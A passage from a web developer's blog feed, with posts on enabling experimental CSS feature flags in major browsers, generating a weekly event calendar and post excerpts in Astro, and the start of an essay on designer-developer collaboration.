</content:encoded></item><item><title>How to try experimental CSS features</title><link>https://chenhuijing.com/blog/how-to-try-experimental-css-features/</link><guid isPermaLink="true">https://chenhuijing.com/blog/how-to-try-experimental-css-features/</guid><description>I love that browsers are now shipping new CSS features that may not necessarily have been fully baked yet behind feature flags. I can&apos;t actually pinpoint the…</description><pubDate>Fri, 05 Jul 2024 01:10:21 GMT</pubDate><content:encoded>&lt;p&gt;I love that browsers are now shipping new CSS features that may not necessarily have been fully baked yet behind feature flags. I can&apos;t actually pinpoint the exact date or event that started this, but my personal observation (because I was there) tags it at the development of CSS grid.&lt;/p&gt;
&lt;p&gt;If you were not around for it, all the major browsers supported the stable version of CSS grid within 8 months of each other. Trust me, I took the time to check the dates in order to make this image for my talks.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/experimental-css/grid-release-480.png 480w, /images/posts/experimental-css/grid-release-640.png 640w, /images/posts/experimental-css/grid-release-960.png 960w, /images/posts/experimental-css/grid-release-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/experimental-css/grid-release-640.png&quot; alt=&quot;Dates when CSS grid where released in 2017&quot;&gt;
&lt;p&gt;Browser vendors and CSS specification authors want real-world developer feedback during the feature development process to work out the kinks in the proposals and implementations.&lt;/p&gt;
&lt;p&gt;They had tried using vendor prefixes as an earlier approach, and we ended up with a decade&apos;s worth of baggage, where browsers had to support property names that were deprecated in the specification because there will be people who inevitably &lt;a href=&quot;https://en.wikipedia.org/wiki/Stanford_marshmallow_experiment&quot;&gt;choose to eat the marshmallow quickly instead of waiting it out&lt;/a&gt; and use features that are not ready in production.&lt;/p&gt;
&lt;p&gt;When CSS grid rolled around, they tried a different approach. CSS grid was available to developers who wanted to try it out but behind feature flags in the respective browsers. This meant that the developer who decided to use the not-yet-ready feature had to bank on their audience turning on the flag themselves, and we all know that&apos;s not likely to happen.&lt;/p&gt;
&lt;p&gt;Which is why when browsers rolled out CSS grid in their stable versions, they did not have to worry about having to support earlier iterations of the syntax running around in the wild, because those were really quite minimal. The approach worked. And I think that&apos;s why it has become a standard approach to how new CSS features are being released these days.&lt;/p&gt;
&lt;h2&gt;The UI of feature flags&lt;/h2&gt;
&lt;p&gt;Every browser handles their feature flags differently, and after seeing Safari&apos;s approach for the first time today, I thought I&apos;d summarise how the major browsers we develop on do this. I asked ChatGPT when each of the big 3 introduced feature flags and here are the answers.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;woman raising hand&quot;&gt;🙋🏻‍♀️&lt;/span&gt;: when did chrome introduce feature flags?&lt;br&gt;
&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;robot&quot;&gt;🤖&lt;/span&gt;: Google Chrome introduced feature flags (also known as experimental features) with the launch of Chrome 8 in &lt;strong&gt;December 2010&lt;/strong&gt;. Feature flags allow users to enable or disable various experimental features and options before they are officially released, by visiting chrome://flags in the browser.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;woman raising hand&quot;&gt;🙋🏻‍♀️&lt;/span&gt;: when did firefox introduce feature flags?&lt;br&gt;
&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;robot&quot;&gt;🤖&lt;/span&gt;: Mozilla Firefox introduced feature flags, accessible via about:config, much earlier than Chrome. The about:config interface has been available since at least Firefox 2, which was released in &lt;strong&gt;October 2006&lt;/strong&gt;. This interface allows users to modify advanced settings and enable or disable experimental features.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;woman raising hand&quot;&gt;🙋🏻‍♀️&lt;/span&gt;: and when did safari roll out it&apos;s new feature flag tab in developer settings?&lt;br&gt;
&lt;s&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;robot&quot;&gt;🤖&lt;/span&gt;: Safari rolled out its new feature flag tab in the Developer settings with the release of Safari 13, which was introduced in &lt;strong&gt;September 2019&lt;/strong&gt;. This feature, accessible through the &amp;quot;Develop&amp;quot; menu, allows developers to enable or disable experimental features and technologies in the browser.&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;I think these should be largely accurate, someone tell me if they&apos;re not.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update! ChatGPT is wrong!! Someone did tell me! Specifically &lt;a href=&quot;https://scholar.harvard.edu/ccwilcox/people/curtis-wilcox&quot;&gt;Curtis Wilcox&lt;/a&gt; and &lt;a href=&quot;https://jensimmons.com/&quot;&gt;Jen Simmons&lt;/a&gt;&lt;/em&gt; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person bowing&quot;&gt;🙇🏻&lt;/span&gt;&lt;/p&gt;
&lt;iframe src=&quot;https://c.im/@cwilcox808/112734737122814176/embed&quot; width=&quot;400&quot; height=&quot;330&quot; allowfullscreen=&quot;allowfullscreen&quot; sandbox=&quot;allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox allow-forms&quot;&gt;&lt;/iframe&gt;
&lt;iframe src=&quot;https://front-end.social/@jensimmons/112735884858878928/embed&quot; width=&quot;400&quot; height=&quot;480&quot; allowfullscreen=&quot;allowfullscreen&quot; sandbox=&quot;allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox allow-forms&quot;&gt;&lt;/iframe&gt;
&lt;h3&gt;Safari&lt;/h3&gt;
&lt;p&gt;Admittedly, Safari is not a browser I use on the regular, only when testing, and it is generally a cursory load page, scroll page, move on to next page, kind of thing. So sadly, it was only recently (&lt;s&gt;5 years&lt;/s&gt; 10 months after release) that I noticed “Feature Flags” had a dedicated tab in Developer settings.&lt;/p&gt;
&lt;img src=&quot;/images/posts/experimental-css/safari.png&quot; srcset=&quot;/images/posts/experimental-css/safari@2x.png 2x&quot; alt=&quot;Feature flag tab in Safari&apos;s developer settings&quot;&gt;
&lt;p&gt;To me, this is a significant improvement in developer experience because it makes testing new features (not just CSS but all the other web APIs) easily discoverable and toggleable (this is not a word, I know).&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The steps for Safari are:&lt;/p&gt;
&lt;ol&gt;
  &lt;li class=&quot;no-margin&quot;&gt;From the menu bar choose Develop &amp;gt; Feature Flags…&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Scroll through the list and pick what you want to try&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Toggle the respective checkbox&lt;/li&gt;
  &lt;li&gt;Relaunch the browser&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s it. Feature flags have been elevated to a first-class developer feature in Safari, given it gets dedicated menu shortcut space in the Develop dropdown. So I&apos;m pretty impressed by this experience. You can read &lt;a href=&quot;https://developer.apple.com/documentation/safari-developer-tools/feature-flag-settings&quot;&gt;Safari&apos;s documentation&lt;/a&gt; for more details.&lt;/p&gt;
&lt;h3&gt;Chrome&lt;/h3&gt;
&lt;p&gt;Chrome doesn&apos;t do feature flags that granularly (at least that&apos;s my observation). But they have had this feature for as long as since I started really deep diving into CSS. Chrome does flags in a broader manner and it can be summarised as major features, which have feature-specific flags, smaller features which take around 1-2 quarters of work under &lt;code&gt;#enable-experimental-web-platform-features&lt;/code&gt; and very rarely, features that only ship in Canary.&lt;/p&gt;
&lt;img src=&quot;/images/posts/experimental-css/chrome.png&quot; srcset=&quot;/images/posts/experimental-css/chrome@2x.png 2x&quot; alt=&quot;Feature flags interface on Chrome&quot;&gt;
&lt;p class=&quot;no-margin&quot;&gt;The steps for Chrome are:&lt;/p&gt;
&lt;ol&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Type &lt;code&gt;chrome://flags&lt;/code&gt; in your address bar&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Search for the feature&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Set value to &lt;strong&gt;Enabled&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Relaunch the browser&lt;/li&gt;
&lt;/ol&gt;
&lt;img src=&quot;/images/posts/experimental-css/chrome2.png&quot; srcset=&quot;/images/posts/experimental-css/chrome2@2x.png 2x&quot; alt=&quot;Using the search bar on the feature flags interface in Chrome&quot;&gt;
&lt;p&gt;Might be less intuitive than the Safari interface, and I&apos;m not too sure where to find the list of features covered in under the &lt;code&gt;#enable-experimental-web-platform-features&lt;/code&gt; flag, but still, good enough for me. You can read &lt;a href=&quot;https://developer.chrome.com/docs/web-platform/chrome-flags&quot;&gt;Chrome&apos;s documentation&lt;/a&gt; for more details.&lt;/p&gt;
&lt;h3&gt;Firefox&lt;/h3&gt;
&lt;p&gt;Firefox takes the granular approach as well, but in a more “raw” manner. Basically, after you get past the Here be dragons message (I think they changed the copy but it was fun back then), you get a blank results screen that again warns you of messing up the browser. But once you click “Show all”, you will notice that the flags follow a naming convention.&lt;/p&gt;
&lt;img src=&quot;/images/posts/experimental-css/firefox.png&quot; srcset=&quot;/images/posts/experimental-css/firefox@2x.png 2x&quot; alt=&quot;Initial screen in Firefox&apos;s configuration interface&quot;&gt;
&lt;p&gt;I think these flag names are exposed from their usage in the source code (see &lt;a href=&quot;https://searchfox.org/mozilla-central/source/modules/libpref/init/StaticPrefList.yaml&quot;&gt;StaticPrefList.yaml&lt;/a&gt;), because if you do it like Safari or Chrome, there&apos;s probably an extra mapping to link the actual source code to the presentation of the feature in plain English. Just my speculation.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;The steps for Firefox are:&lt;/p&gt;
&lt;ol&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Type &lt;code&gt;about://config&lt;/code&gt; in your address bar&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Accept the risk and continue knowing that you might screw up your browser messing with flags&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Search for the feature you want&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Double-click on the feature to toggle it. You can also change string values if that is relevant.&lt;/li&gt;
  &lt;li&gt;Relaunch the browser&lt;/li&gt;
&lt;/ol&gt;
&lt;img src=&quot;/images/posts/experimental-css/firefox2.png&quot; srcset=&quot;/images/posts/experimental-css/firefox2@2x.png 2x&quot; alt=&quot;Using the search bar on the feature flags interface in Firefox&quot;&gt;
&lt;p&gt;The search function is pretty crucial here, but overall, you know which features you&apos;re toggling, and because it covers all browser features, it&apos;s not simply boolean, there are string and number values you can manipulate as well. I guess that&apos;s why there&apos;s an extra layer of here be dragons before letting you play around. You can read &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Experimental_features&quot;&gt;Firefox&apos;s documentation&lt;/a&gt; for more details.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Well, that&apos;s it. Nice and short. Keep exploring, but don&apos;t blow up your browser!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://www.deviantart.com/egor412112/art/Cat-scientist-752200669&quot;&gt;Egor412112&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Generating a weekly calendar from JSON data</title><link>https://chenhuijing.com/blog/generating-a-weekly-calendar-from-json-data/</link><guid isPermaLink="true">https://chenhuijing.com/blog/generating-a-weekly-calendar-from-json-data/</guid><description>The original purpose of this blog was for me to document solutions that I spent hours figuring out at work, which means it&apos;s not my code therefore I cannot…</description><pubDate>Mon, 18 Mar 2024 02:48:51 GMT</pubDate><content:encoded>&lt;p&gt;The original purpose of this blog was for me to document solutions that I spent hours figuring out at work, which means it&apos;s not my code therefore I cannot take it wholesale with me. I just extract the key parts, remove any references (or try to) to the original project and hopefully the next time I run into the problem, I have a solution.&lt;/p&gt;
&lt;p&gt;Over the years, it has expanded to include code which had to be thrown away due to deprecated features, but the code is still good. Especially if I had called in favours with a smart friend to pair program the solution. You know who you are, &lt;a href=&quot;https://yishus.dev/&quot;&gt;Yishu&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Context&lt;/h2&gt;
&lt;p&gt;I needed a page that would display event data from a JSON file. The events should be displayed by month, but further broken down into columns for each week of the month.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/astro-calendar/mock.svg&quot; alt=&quot;Mockup of how the Calendar layout looks&quot;&gt;&lt;/p&gt;
&lt;p&gt;And maybe display current month and the next month. Why not?&lt;/p&gt;
&lt;p&gt;I wanted to keep the data file as simple as possible because it would potentially be updated by non-developers. (Some people might already be thinking, good luck with that one, but hey, sometimes I get a flash of random optimism in my life. &lt;span class=&quot;kaomoji&quot;&gt;乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠)⁠ ㄏ&lt;/span&gt;)&lt;/p&gt;
&lt;p&gt;So the data file looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
  {
    &amp;quot;title&amp;quot;: &amp;quot;ABC&amp;quot;,
    &amp;quot;date&amp;quot;: &amp;quot;2024-03-03&amp;quot;,
    &amp;quot;description&amp;quot;: &amp;quot;1-line description&amp;quot;
  },
  {
    &amp;quot;title&amp;quot;: &amp;quot;DEF&amp;quot;,
    &amp;quot;date&amp;quot;: &amp;quot;2024-03-04&amp;quot;,
    &amp;quot;description&amp;quot;: &amp;quot;1-line description&amp;quot;
  },
  {
    &amp;quot;title&amp;quot;: &amp;quot;GHI&amp;quot;,
    &amp;quot;date&amp;quot;: &amp;quot;2024-04-15&amp;quot;,
    &amp;quot;description&amp;quot;: &amp;quot;1-line description&amp;quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Implementation time&lt;/h2&gt;
&lt;p&gt;What is a frontend developer other than someone who takes some raw data, massages it all around and makes sure the generated markup is semantic and fulfils layout goals? (A lot more than that but this is a big part of the job, no?)&lt;/p&gt;
&lt;p&gt;The nice thing about Astro is that I can write the logic in plain JavaScript (actually Typescript) on the component file itself. Then the plain CSS is also in the same file, wrapped in &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;
&lt;p&gt;The slightly more complicated part is putting the computed values from JavaScript into the markup correctly. Life&apos;s not perfect, we deal with it.&lt;/p&gt;
&lt;p&gt;I did make an effort to make my function names descriptive, so we&apos;ll see if I can still understand what everything does when I refer back to this code in a couple months (because the feature magically came back or something).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;import eventsData from &amp;quot;../data/calendar.json&amp;quot;;

const currentYear = new Date().getFullYear();
const currentMonth = new Date().getMonth();
const nextMonth = currentMonth + 1;
const months = Array.from({ length: 12 }, (e, i) =&amp;gt; {
  return new Date(1970, i, 1).toLocaleDateString(&amp;quot;en&amp;quot;, { month: &amp;quot;long&amp;quot; });
});

const getISOWeekNumber = (date) =&amp;gt; {
  const d = new Date(date);
  d.setHours(0, 0, 0, 0);
  d.setDate(d.getDate() + 4 - (d.getDay() || 7));
  return Math.ceil(((+d - +new Date(d.getFullYear(), 0, 1)) / 86400000 + 1) / 7);
};

const allEventsGroupedByWeek = eventsData.reduce((acc, obj) =&amp;gt; {
  const week = getISOWeekNumber(obj.date);
  if (!acc[week]) {
    acc[week] = [];
  }
  acc[week].push(obj);
  return acc;
}, {});

const eventsByMonth = (eventsData, monthIndex) =&amp;gt; {
  const filteredEvents = {};
  for (const week in eventsData) {
    const eventsForWeek = eventsData[week].filter((event) =&amp;gt; {
      const eventMonth = parseInt(event.date.split(&amp;quot;-&amp;quot;)[1], 10);
      return eventMonth === monthIndex + 1;
    });
    if (eventsForWeek.length &amp;gt; 0) {
      filteredEvents[week] = eventsForWeek;
    }
  }
  return filteredEvents;
};

const getWeeksOfYear = (year) =&amp;gt; {
  const weeksArray: Array&amp;lt;{ start: Date, end: Date }&amp;gt; = [];
  const startDate = new Date(year, 0, 1); // January 1st of the given year

  // Calculate the offset to the next Monday
  const dayOffset = (8 - startDate.getDay()) % 7;
  startDate.setDate(startDate.getDate() + dayOffset);

  while (startDate.getFullYear() === year) {
    const endDate = new Date(startDate);
    endDate.setDate(startDate.getDate() + 6); // End date is 6 days after the start date (a week)
    weeksArray.push({
      start: new Date(startDate),
      end: new Date(endDate),
    });
    startDate.setDate(startDate.getDate() + 7); // Move to the next week
  }
  return weeksArray;
};

const generateWeekLabel = (year, weekNumber) =&amp;gt; {
  const weeksArray = getWeeksOfYear(year);
  const targetWeek = weeksArray[weekNumber - 1];
  const weekLabel = `Week ${weekNumber}: ${targetWeek.start
    .toDateString()
    .slice(4, 10)}–${targetWeek.end.toDateString().slice(4, 10)}`;
  return weekLabel;
};

const replaceWeekNumber = (eventsData) =&amp;gt; {
  for (const [key, value] of Object.entries(eventsData)) {
    eventsData[generateWeekLabel(currentYear, key)] = value;
    delete eventsData[key];
  }
  return eventsData;
};

const renderCurrentMonthEvents: {
  [key: string]: Array&amp;lt;{ title: string, date: string, description: string }&amp;gt;,
} = replaceWeekNumber(eventsByMonth(allEventsGroupedByWeek, currentMonth));
const renderNextMonthEvents: {
  [key: string]: Array&amp;lt;{ title: string, date: string, description: string }&amp;gt;,
} = replaceWeekNumber(eventsByMonth(allEventsGroupedByWeek, nextMonth));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even though the markup looks reasonably straightforward, figuring out the correct syntax was not. Do you know how many &lt;code&gt;console.log()&lt;/code&gt;s were needed to figure out &lt;code&gt;{key.split(&amp;quot;:&amp;quot;)[1]}&lt;/code&gt;??&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsx&quot;&gt;&amp;lt;section&amp;gt;
  &amp;lt;h2&amp;gt;
    {months[currentMonth]}&amp;amp;nbsp;{currentYear}
  &amp;lt;/h2&amp;gt;
  &amp;lt;ul&amp;gt;
    {Object.entries(renderCurrentMonthEvents).map(([key, value], i) =&amp;gt; (
      &amp;lt;li&amp;gt;
        &amp;lt;p class=&amp;quot;week-dates&amp;quot; data-week-label={key.split(&amp;quot;:&amp;quot;)[0]}&amp;gt;
          {key.split(&amp;quot;:&amp;quot;)[1]}
        &amp;lt;/p&amp;gt;
        {value.map((event) =&amp;gt; (
          &amp;lt;div class=&amp;quot;event-info&amp;quot;&amp;gt;
            &amp;lt;p&amp;gt;{event.title}&amp;lt;/p&amp;gt;
            &amp;lt;p&amp;gt;{event.date}&amp;lt;/p&amp;gt;
            &amp;lt;p&amp;gt;{event.description}&amp;lt;/p&amp;gt;
          &amp;lt;/div&amp;gt;
        ))}
      &amp;lt;/li&amp;gt;
    ))}
  &amp;lt;/ul&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Might as well throw in the styling as well. It&apos;s super uncomplicated. Grid makes life easy.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;ul {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  list-style: none;
  padding: 0;
  gap: 2em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which gives you something that ends up looking like this, if you have more entries in the data file.&lt;/p&gt;
&lt;img src=&quot;/images/posts/astro-calendar/result.png&quot; srcset=&quot;/images/posts/astro-calendar/result@2x.png 2x&quot; alt=&quot;Events laid out in weekly columns grouped by month&quot;&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So now we wait and see if this feature will ever come back. I mean, if we&apos;re still using the same tech stack and repository, I could probably just find the old file from git. But if not, future me better understand all the code in this post. We&apos;ll see.&lt;/p&gt;
</content:encoded></item><item><title>Creating excerpts in Astro</title><link>https://chenhuijing.com/blog/creating-excerpts-in-astro/</link><guid isPermaLink="true">https://chenhuijing.com/blog/creating-excerpts-in-astro/</guid><description>This blog is running on Hugo. It had previously been running on Jekyll. Both these SSGs ship with the ability to create excerpts from your markdown content in…</description><pubDate>Thu, 14 Mar 2024 03:05:05 GMT</pubDate><content:encoded>&lt;p&gt;This blog is running on &lt;a href=&quot;https://gohugo.io/&quot;&gt;Hugo&lt;/a&gt;. It had previously been running on &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt;. Both these SSGs ship with the ability to create excerpts from your markdown content in 1 line or thereabouts.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;/* Hugo */
{{ .Summary | truncate 130 }}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-ruby&quot;&gt;# Ruby
{{ post.content | markdownify | strip_html | truncatewords: 20 }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I was mildly surprised Astro does not have a corresponding way to do it. To be fair, there is an integration for it: &lt;a href=&quot;https://github.com/igorskyflyer/npm-astro-post-excerpt#readme&quot;&gt;Post Excerpt component for 🚀 Astro&lt;/a&gt;. And I&apos;m all for keeping the core product streamlined.&lt;/p&gt;
&lt;p&gt;But I&apos;m also THAT annoying developer that likes to keep the dependency count as low as I can. Which means I&apos;m constantly playing this balance game in my head of building the feature myself versus installing it.&lt;/p&gt;
&lt;p&gt;I usually give myself an hour or so, and if I feel it&apos;s going to take me more than an hour, I&apos;ll fold.&lt;/p&gt;
&lt;p&gt;In this particular case, I&apos;m like, I just need to access the post content, right? That has to exist already, right?&lt;/p&gt;
&lt;p&gt;We-ll, kind of?&lt;/p&gt;
&lt;h2&gt;Someone else already did it!&lt;/h2&gt;
&lt;p&gt;Cool kids use ChatGPT for all the things now. But I&apos;m not cool. And not young. So I still Google my shit. Which brought me to &lt;a href=&quot;https://www.paulie.dev/&quot;&gt;Paul Scanlon&lt;/a&gt;&apos;s post &lt;a href=&quot;https://www.paulie.dev/posts/2023/09/how-to-create-excerpts-with-astro/&quot;&gt;How to Create Excerpts With Astro&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Paul&apos;s website is pretty. Go visit Paul&apos;s website.&lt;/p&gt;
&lt;p&gt;The gist of the self-rolled solution is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Grab the &lt;code&gt;post.body&lt;/code&gt;, which is in Markdown&lt;/li&gt;
&lt;li&gt;Parse it into HTML using &lt;a href=&quot;https://github.com/markdown-it/markdown-it&quot;&gt;markdown-it&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Extract usable text content from the HTML&lt;/li&gt;
&lt;li&gt;Cut off the text to whatever length you&apos;d like&lt;/li&gt;
&lt;li&gt;Use excerpt and profit&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I tried Paul&apos;s instructions exactly, but it didn&apos;t quite work out for my particular use-case. Because I had articles where the &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag show up very early. And that somehow got parsed into the excerpt.&lt;/p&gt;
&lt;p&gt;My solution deviates at step 3. Because I&apos;m not a Computer Science major. I am not well-versed in the art of regex and parsing. Therefore, I cede the responsibility to a professional: &lt;a href=&quot;https://www.npmjs.com/package/html-to-text&quot;&gt;html-to-text&lt;/a&gt;. Who am I to doubt more than 1 million downloads a week?&lt;/p&gt;
&lt;h2&gt;Same but different&lt;/h2&gt;
&lt;p&gt;If it isn&apos;t broke, don&apos;t fix it. So I used a similar implementation strategy as Paul. The source of the script goes into an &lt;code&gt;utils&lt;/code&gt; folder and I import it into the layout file that needs it.&lt;/p&gt;
&lt;p&gt;The script itself isn&apos;t rocket science. No, I did not use Typescript for this. Don&apos;t @ me.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import MarkdownIt from &amp;quot;markdown-it&amp;quot;;
import { convert } from &amp;quot;html-to-text&amp;quot;;
const parser = new MarkdownIt();

export const createExcerpt = (body) =&amp;gt; {
  const html = parser.render(body);
  const options = {
    wordwrap: null,
    selectors: [
      { selector: &amp;quot;a&amp;quot;, options: { ignoreHref: true } },
      { selector: &amp;quot;img&amp;quot;, format: &amp;quot;skip&amp;quot; },
      { selector: &amp;quot;figure&amp;quot;, format: &amp;quot;skip&amp;quot; },
    ],
  };
  const text = convert(html, options);
  const distilled = convert(text, options);
  return distilled;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fun part is &lt;code&gt;distilled&lt;/code&gt;. Why on earth would I run &lt;code&gt;convert()&lt;/code&gt; twice? That took me the better part of the hour to figure out.&lt;/p&gt;
&lt;p&gt;At first I thought I wasn&apos;t configuring the options correctly, but after reading &lt;a href=&quot;https://github.com/html-to-text/node-html-to-text/blob/master/packages/html-to-text/README.md&quot;&gt;the documentation&lt;/a&gt; and &lt;a href=&quot;https://github.com/html-to-text/node-html-to-text/issues/297&quot;&gt;this issue&lt;/a&gt;, I realised it was more likely a source issue.&lt;/p&gt;
&lt;p&gt;After a couple rounds of &lt;code&gt;console.log&lt;/code&gt;, I realised that the first parse from Markdown to HTML sanitised the &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags to &lt;code&gt;&amp;amp;lt;figure&amp;amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;amp;lt;img&amp;amp;gt;&lt;/code&gt; because they were wrapped in a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;
&lt;p&gt;So the first &lt;code&gt;convert()&lt;/code&gt; returned all the text content plus these tags. That&apos;s why a second round is needed to clean out these caused-by-sanitisation tags.&lt;/p&gt;
&lt;p&gt;Naming things is hard. I just called it distilled. Because you distil booze multiple times.&lt;/p&gt;
&lt;p&gt;Actual usage on the &lt;code&gt;[...page].astro&lt;/code&gt; file looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { createExcerpt } from &apos;../../utils/create-excerpt&apos;;
---

&amp;lt;ol class=&amp;quot;postlist&amp;quot;&amp;gt;
  {((page as any).data || []).map((blogPostEntry: any) =&amp;gt; {
    const excerpt = `${createExcerpt(blogPostEntry.body).substring(0, 300)}...`;
    return (
      &amp;lt;li class=&amp;quot;postlist-item&amp;quot;&amp;gt;
        &amp;lt;a href={`${blogPostEntry.slug}`} class=&amp;quot;postlist-link heading--6&amp;quot;&amp;gt;{blogPostEntry.data.title}&amp;lt;/a&amp;gt;
        &amp;lt;p&amp;gt;{blogPostEntry.data.description ? blogPostEntry.data.description : excerpt}&amp;lt;/p&amp;gt;
      &amp;lt;/li&amp;gt;
    )}
  )}
&amp;lt;/ol&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Was it worth the effort to roll this feature myself? I do think so. The code wasn&apos;t complicated. And yes, I succumbed to installing 2 parsers. What can I say, I&apos;m not a rational human being. &lt;span class=&quot;kaomoji&quot;&gt;乁 ⁠(⁠ ⁠•⁠_⁠•⁠ ⁠) ㄏ&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>The value of live web design</title><link>https://chenhuijing.com/blog/the-value-of-live-web-design/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-value-of-live-web-design/</guid><description>Over the years, I&apos;ve regularly seen blog posts or articles talking about &quot;should designers code?&quot; (less of &quot;should developers learn design?&quot; &lt;span…</description><pubDate>Tue, 05 Mar 2024 00:37:11 GMT</pubDate><content:encoded>&lt;p&gt;Over the years, I&apos;ve regularly seen blog posts or articles talking about &amp;quot;should designers code?&amp;quot; (less of &amp;quot;should developers learn design?&amp;quot; &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;). I even chimed in with a tangential &lt;a href=&quot;/blog/a-better-web-design-process&quot;&gt;opinion piece back in the day&lt;/a&gt;. Tangential because I never said designers should code. Haha.&lt;/p&gt;
&lt;p&gt;What I found is that after 9 years, my experiences have not changed my opinion back then. Namely:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An ideal web design process involves close collaboration between the users, designers and developers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I also think I was a better writer back then. My brain has deteriorated since, and it&apos;s just all downhill from here. Oh well. Age.&lt;/p&gt;
&lt;p&gt;Maybe better isn&apos;t a good descriptor, but I think I tended to write about how I wished things would be, and that aspiration translated into stronger language?&lt;/p&gt;
&lt;h2&gt;Less aspiration, more implementation&lt;/h2&gt;
&lt;p&gt;If you look at my job title and scope today, you&apos;ll see that I&apos;m still building websites. The difference is, I can build them more polished in less time. And I&apos;ve also amassed experience across a large variety of projects with different industries, budgets and people.&lt;/p&gt;
&lt;p&gt;I might be more jaded and less opinionated about the little things now, i.e. “I still don&apos;t like Tailwind, but I can write it the way it was intended if it pays my bills”, but I&apos;ve also become more grateful when pleasant situations arise.&lt;/p&gt;
&lt;p&gt;My pleasant situation is my main team at work these days. I technically am not part of any dedicated project team, and more like a CSS/frontend janitor that goes around the whole place wherever something needs tidying. But I do work a lot with our talented designer, &lt;a href=&quot;https://www.madalinatantareanu.com/&quot;&gt;Madalina Tantareanu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I say designer, but that doesn&apos;t accurately describe her talent. She&apos;s an artist and illustrator, who has helped us craft and create numerous visual assets, as well as our recent new visual branding.&lt;/p&gt;
&lt;p&gt;Our work process is what makes my job so pleasant these days. And I&apos;m definitely not saying that everyone should work like this. I&apos;m fairly sure it works because we both serendipitously have a similar way of thinking and visualising about designs.&lt;/p&gt;
